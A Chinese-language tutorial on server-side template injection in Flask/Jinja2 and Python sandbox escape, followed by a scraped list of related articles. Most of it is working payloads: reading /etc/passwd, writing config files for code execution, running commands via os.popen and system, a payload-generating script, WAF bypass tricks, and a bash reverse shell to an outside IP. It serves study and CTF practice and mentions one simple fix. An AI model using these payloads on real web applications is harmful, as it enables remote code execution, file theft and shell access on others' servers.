一篇以python Flask 模版渲染为例子的SSTI注入教学~

0x01 Flask使用和渲染

这里简化了flask使用和渲染的教程 只把在安全中我们需要关注的部分写出来

来一段最简单的FLASK运行代码:

很简单的flask使用 将url的qing和方法绑定  返回"qing - Flask test"字符串

说一下模版渲染Jinja2中变量

  1. 控制结构 {% %}
  2. 变量取值 {{ }}
  3. 注释 {# #}

jinja2模板中使用 {{ }} 语法表示一个变量,它是一种特殊的占位符。当利用jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换,jinja2支持python中所有的Python数据类型比如列表、字段、对象等

inja2中的过滤器可以理解为是jinja2里面的内置函数和字符串处理函数。

被两个括号包裹的内容会输出其表达式的值

再来看看ssti中我们需要关注的渲染方法和模版

flask的渲染方法有render_templaterender_template_string两种

render_template()用来渲染指定的文件:

  1. return render_template('index.html')

render_template_string则是用来渲染字符串

  1. html = '<h1>This is a String</h1>'
  2. return render_template_string(html)

模板

flask使用Jinja2来作为渲染引擎的

在网站的根目录下新建templates文件夹,这里是用来存放html文件。也就是模板文件。

qing.html:

访问localhost/qing 后flask会渲染出模版:

而在我们SSTI注入场景中模版都是有变量进行渲染的。

例如我这里渲染方法进行传参 模版进行动态的渲染

  1. from flask import Flask,url_for,redirect,render_template,render_template_string
  2.  
  3. app = Flask(__name__)
  4.  
  5. @app.route('/qing')
  6. def hello_world():
  7. return render_template('qing.html',string="qing qing qing")
  8.  
  9. if __name__ == '__main__':
  10. app.run()

qing.html:

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <title>Flask</title>
  6. </head>
  7. <body>
  8. <h1>{{string}}</h1>
  9. </body>
  10. </html>

基本使用大致就这样吧 接下来看看SSTI注入形成和利用。

0x02  python沙盒逃逸

ssti中会设计到python的沙盒逃逸 不会的弟弟 和我一样挨打学着

沙箱:

沙箱是一种按照安全策略限制程序行为的执行环境。早期主要用于测试可疑软件等,比如黑客们为了试用某种病毒或者不安全产品,往往可以将它们在沙箱环境中运行。
  经典的沙箱系统的实现途径一般是通过拦截系统调用,监视程序行为,然后依据用户定义的策略来控制和限制程序对计算机资源的使用,比如改写注册表,读写磁盘等。

沙箱逃逸,就是在给我们的一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程。其实就是闯过重重黑名单,最终拿到系统命令执行权限的过程。

内建名称空间 builtins

​ 在启动Python解释器之后,即使没有创建任何的变量或者函数,还是会有许多函数可以使用,这些函数就是内建函数,并不需要我们自己做定义,而是在启动python解释器的时候,就已经导入到内存中供我们使用

​ 名称空间

它是从名称到对象的映射,而在python程序的执行过程中,至少会存在两个名称空间

  1. 内建名称空间
  2. 全局名称空间

还有介绍的就是python中的重要的魔术方法

  1. __class__ 返回类型所属的对象
  2.  
  3. __mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
  4.  
  5. __base__ 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的
  6.  
  7. __subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
  8.  
  9. __init__ 类的初始化方法
  10.  
  11. __globals__ 对包含函数全局变量的字典的引用

有这些类继承的方法,我们就可以从任何一个变量,顺藤摸瓜到基类中去,再获得到此基类所有实现的类,然后再通过实现类调用相应的成员变量函数 这里就是沙盒逃逸的基本流程了。

python中一切均为对象,均继承object对象

  1. ''.__class__.__mro__[-1]
  2.  
  3. >>>[].__class__.__bases__[0]
  4. <type 'object'>
  5. >>>''.__class__.__mro__[-1]
  6. <type 'object'>

获取字符串的类对象

  1. ''.__class__
  2. <type 'str'>

寻找基类

  1. ''.__class__.__mro__
  2. (<type 'str'>, <type 'basestring'>, <type 'object'>)

查看实现类和成员

  1. ''.__class__.__mro__[1].__subclasses__()
  2. [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
  1.  

例如我要使用os模块执行命令

首先获取 warnings.catch_warnings 在 object 类中的位置

  1. import warnings
  2. [].__class__.__base__.__subclasses__().index(warnings.catch_warnings)
  3. 60
  4. [].__class__.__base__.__subclasses__()[60]
  5. <class 'warnings.catch_warnings'>
  6. [].__class__.__base__.__subclasses__()[60].__init__.func_globals.keys()
  7. ['filterwarnings', 'once_registry', 'WarningMessage', '_show_warning', 'filters', '_setoption', 'showwarning', '__all__', 'onceregistry', '__package__', 'simplefilter', 'default_action', '_getcategory', '__builtins__', 'catch_warnings', '__file__', 'warnpy3k', 'sys', '__name__', 'warn_explicit', 'types', 'warn', '_processoptions', 'defaultaction', '__doc__', 'linecache', '_OptionError', 'resetwarnings', 'formatwarning', '_getaction']

查看 linecache(操作文件的函数)

  1. `[].__class__.__base__.__subclasses__([60].__init__.func_globals['linecache'].__dict__.keys()`
  2. `['updatecache', 'clearcache', '__all__', '__builtins__', '__file__', 'cache', 'checkcache', 'getline', '__package__', 'sys', 'getlines', '__name__', 'os', '__doc__']`

可以看到这里调用了 os 模块, 所以可以直接调用 os 模块

  1. a=[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12]
  2.  
  3. a
  4. <module 'os' from '*****\python27\lib\os.pyc'>

接着要调用 os 的 system 方法, 先查看 system 的位置:

  1. a.__dict__.keys().index('system')
  2. 79
  3. a.__dict__.keys()[79]
  4. 'system'
  5. b=a.__dict__.values()[79]
  6. b
  7. <built-in function system>
  8. b('whoami')

0x03 Python模版注入SSTI

  1. code = request.args.get('ssti')
  2. html = '''
  3. <h1>qing -SSIT</h1>
  4. <h2>The ssti is </h2>
  5. <h3>%s</h3>
  6. ''' % (code)
  7. return render_template_string(html)

这里把ssti变量动态的输出在%s,然后进过render_template_string渲染模版,单独ssti注入成因就在这里。

这里前端输出了 XSS问题肯定是存在的

  1. http://127.0.0.1:5000/qing?ssti=%3Cscript%3Ealert(/qing/)%3C/script%3E

继续SSTI注入  前面说了Jinja2变量解析

  1. 控制结构 {% %}
  2. 变量取值 {{ }}
  3. 注释 {# #}

我们这里进行变量测试

  1. http://127.0.0.1:5000/qing?ssti={{2*2}}

flask中也有一些全局变量

  1. http://127.0.0.1:5000/qing?ssti={{config}}

防止SSTI注入的最简单方法

  1. code = request.args.get('ssti')
  2. html = '''
  3. <h1>qing -SSIT</h1>
  4. <h2>The ssti is </h2>
  5. <h3>{{code}}</h3>
  6. '''
  7. return render_template_string(html)

将template 中的 ”’<h3> %s!</h3>”’ % code更改为 ”’<h3>{{code}}</h3>”’ ,这样以来,Jinja2在模板渲染的时候将request.url的值替换掉{{code}}, 而不会对code内容进行二次渲染

这样即使code中含有{{}}也不会进行渲染,而只是把它当做普通字符串

python2 

文件读取和写入

  1. #读文件
  2. {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
  3. {{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
  4. #写文件
  5. {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

任意执行

  1. {{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}
  2. {{ config.from_pyfile('/tmp/owned.cfg') }}
  1. {{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('from subprocess import check_output\n\nRUNCMD = check_output\n')}}
  2. {{ config.from_pyfile('/tmp/owned.cfg') }}
  3. {{ config['RUNCMD']('/usr/bin/id',shell=True) }}
  1.  

无回显

  1. {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']('1+1')}}
  2. {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}

任意执行只需要一条指令

  1. {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}(这条指令可以注入,但是如果直接进入python2打这个poc,会报错,用下面这个就不会,可能是python启动会加载了某些模块)
  2. http://39.105.116.195/{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}(system函数换为popen('').read(),需要导入os模块)
  3. {{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}(不需要导入os模块,直接从别的模块调用)

 python3

python3没有file了,只有open

文件读取

  1. {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}

http://www.qing-sec.com:8000/?name={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}

执行命令

  1. {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}

  1. http://www.qing-sec.com:8000/?name={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}

  1. http://www.qing-sec.com:8000/?name={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}

命令执行

  1. {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}

http://www.qing-sec.com:8000/?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('uname').read()") }}{% endif %}{% endfor %}

文件操作

  1. {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

http://www.qing-sec.com:8000/?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }}{% endif %}{% endfor %}

  1.  

0x04 Tips&&Waf SSTI Bypass

一个个寻找函数太麻烦了 这里有脚本寻找需要的function

  1. #!/usr/bin/python3
  2. # coding=utf-8
  3. # python 3.5
  4. from flask import Flask
  5. from jinja2 import Template
  6. # Some of special names
  7. searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
  8. neededFunction = ['eval', 'open', 'exec']
  9. pay = int(input("Payload?[1|0]"))
  10. for index, i in enumerate({}.__class__.__base__.__subclasses__()):
  11. for attr in searchList:
  12. if hasattr(i, attr):
  13. if eval('str(i.'+attr+')[1:9]') == 'function':
  14. for goal in neededFunction:
  15. if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
  16. if pay != 1:
  17. print(i.__name__,":", attr, goal)
  18. else:
  19. print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")

输出

  1. {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='_Unframer' %}{{ c.__init__.__globals__['__builtins__'].exec("[evil]") }}{% endif %}{% endfor %}
  2. {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].eval("[evil]") }}{% endif %}{% endfor %}
  3. {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].open("[evil]") }}{% endif %}{% endfor %}
  1. 执行
  1. {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].eval('__import__("os").popen("id").read()') }}{% endif %}{% endfor %}

当有的字符串被 waf 的时候可以通过编码或者字符串拼接绕过

base64:

  1. ().__class__.__bases__[0].__subclasses__()[40]('r','ZmxhZy50eHQ='.decode('base64')).read()
  2.  
  3. ().__class__.__bases__[0].__subclasses__()[40]('r','flag.txt')).read()

字符串拼接:

  1. ().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt')).read()
  2.  
  3. ().__class__.__bases__[0].__subclasses__()[40]('r','flag.txt')).read()

reload:

  1. del __builtins__.__dict__['__import__'] # __import__ is the function called by the import statement
  2.  
  3. del __builtins__.__dict__['eval'] # evaluating code could be dangerous
  4. del __builtins__.__dict__['execfile'] # likewise for executing the contents of a file
  5. del __builtins__.__dict__['input'] # Getting user input and evaluating it might be dangerous

当没有过滤reload函数时,我们可以

重载builtins

  1. reload(__builtins__)

即可恢复删除的函数。

当不能通过[].class.base.subclasses([60].init.func_globals[‘linecache’].dict.values()[12]直接加载 os 模块
这时候可以使用getattribute+ 字符串拼接 / base64 绕过 例如:

  1. [].__class__.__base__.__subclasses__()[60].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__.values()[12]
  2.  
  3. [].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12]
  1.  

绕过waf一些payload:

  1. python2
  2. [].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
  3. [].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')
  4. "".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
  5. "".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
  6. "".__class__.__mro__[-1].__subclasses__()[40](filename).read()
  7. "".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')
  8. ().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/172.6.6.6/9999 0>&1"')
  9.  
  10. python3
  11. ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']
  12. "".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']
  13. ().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('__global'+'s__')['os'].__dict__['system']('ls')

参考链接:

https://www.freebuf.com/vuls/162752.html

https://bbs.ichunqiu.com/thread-47685-1-1.html?from=aqzx8

https://www.freebuf.com/articles/web/98619.html

https://blog.csdn.net/JBlock/article/details/82938656

  1.  

python-Flask模版注入攻击SSTI(python沙盒逃逸)的更多相关文章

  1. python沙盒逃逸

    前言 最近遇到了很多python沙盒逃逸的题目(不知道是不是因为现在python搭的站多了--),实际使用时发现只会复制别人的payload是不够用的,于是自己来总结一波(顺带一提python沙盒逃逸 ...

  2. SSTI注入绕过(沙盒逃逸原理一样)

    在python沙盒逃逸中绕过道理是一样的. 1.python沙盒中删除了很多模块,但是没有删除reload reload(__builtins__),重新加载被删除的模块,直接命令执行,只用于py2 ...

  3. 再谈CVE-2017-7047 Triple_Fetch和iOS 10.3.2沙盒逃逸

    作者:蒸米 ----------------- 0x00 序 Ian Beer@google发布了CVE-2017-7047Triple_Fetch的exp和writeup[1],chenliang@ ...

  4. seccomp沙盒逃逸基础——沙盒的规则编写

    seccomp沙盒逃逸基础--沙盒的规则编写 引入: 安全计算模式 seccomp(Secure Computing Mode)是自 Linux 2.6.10 之后引入到 kernel 的特性.一切都 ...

  5. python-flask-ssti(模版注入漏洞)

    SSTI(Server-Side Template Injection) 服务端模板注入 ,就是服务器模板中拼接了恶意用户输入导致各种漏洞.通过模板,Web应用可以把输入转换成特定的HTML文件或者e ...

  6. Word模板注入攻击

    Word模板注入攻击 0x00 工具准备 phishery:https://github.com/ryhanson/phishery/releases office版本:office 2010 0x0 ...

  7. Java安全之Velocity模版注入

    Java安全之Velocity模版注入 Apache Velocity Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象.它允许web 页 ...

  8. 初探 Python Flask+Jinja2 SSTI

    初探 Python Flask+Jinja2 SSTI 文章首发安全客:https://www.anquanke.com/post/id/226900 SSTI简介 SSTI主要是因为某些语言的框架中 ...

  9. day40:python操作mysql:pymysql模块&SQL注入攻击

    目录 part1:用python连接mysql 1.用python连接mysql的基本语法 2.用python 创建&删除表 3.用python操作事务处理 part2:sql注入攻击 1.s ...

随机推荐

  1. Abstract Factory抽象工厂模式

    抽象工厂模式是是用一个超级工厂去创建其他工厂,简单点说就是工厂的父类,属于创建型模式. 目标:提供一个创建一组对象的方法,而无需指定它们具体的类(同工厂方法). 使用场景:系统的产品有多于一个的产品族 ...

  2. 《程序实现》从xml、txt文件里读取数据写入excel表格

    直接上码 import java.io.BufferedReader; import java.io.DataInputStream; import java.io.File; import java ...

  3. kubernetes部署高可用Harbor

    前言 本文Harbor高可用依照Harbor官网部署,主要思路如下,大家可以根据具体情况选择搭建. 部署Postgresql高可用集群.(本文选用Stolon进行管理,请查看文章<kuberne ...

  4. linux下tomcat无法远程访问(开放8080端口)

    我们在linux下配置了tomcat后发现,无法访问除了linux(如果是虚拟机的话,宿主机子根本无法访问tomcat),解决下吧 原因是我们的tomcat访问需要8080端口,但是从外部访问,我们的 ...

  5. 垃圾佬的旅游III(Hash + 暴力)

    题目链接:http://120.78.128.11/Problem.jsp?pid=3445 最开始的思路就是直接暴力求解,先把所有的数值两两存入结构体,再从小到大枚举.用二分的思路去判断数值以及出现 ...

  6. maven环境变量设置

    maven环境变量设置 maven环境变量设置 wondows 一.下载 开源网址:http://maven.apache.org/ 下载网址:http://maven.apache.org/down ...

  7. Android 让你的 Room 搭上 RxJava 的顺风车 从重复的代码中解脱出来

    # 什么是 Room ? 谷歌为了帮助开发者解决 Android 架构设计问题,在 Google I/O 2017 发布一套帮助开发者解决 Android 架构设计的方案:Android Archit ...

  8. C++ 变量判定的螺旋法则

    C++ 中一个标识符配合着各种修饰界定符,使得标识符的本意不那么直观一眼就能看出,甚至需要仔细分析,才能知道该标识符的具体你含义. 比如: void (*signal(int, void (*fp)( ...

  9. 【Java】SpringBoot 中从application.yml中获取自定义常量

    由于这里我想通过java连接linux,connection连接需要host.port.username.password及其他路径等等.不想每次修改的时候都去改源文件,所以想写在applicatio ...

  10. 浅析html+css+javascript之间的关系与作用

    三者间的关系 一个基本的网站包含很多个网页,一个网页由html, css和javascript组成. html是主体,装载各种dom元素:css用来装饰dom元素:javascript控制dom元素. ...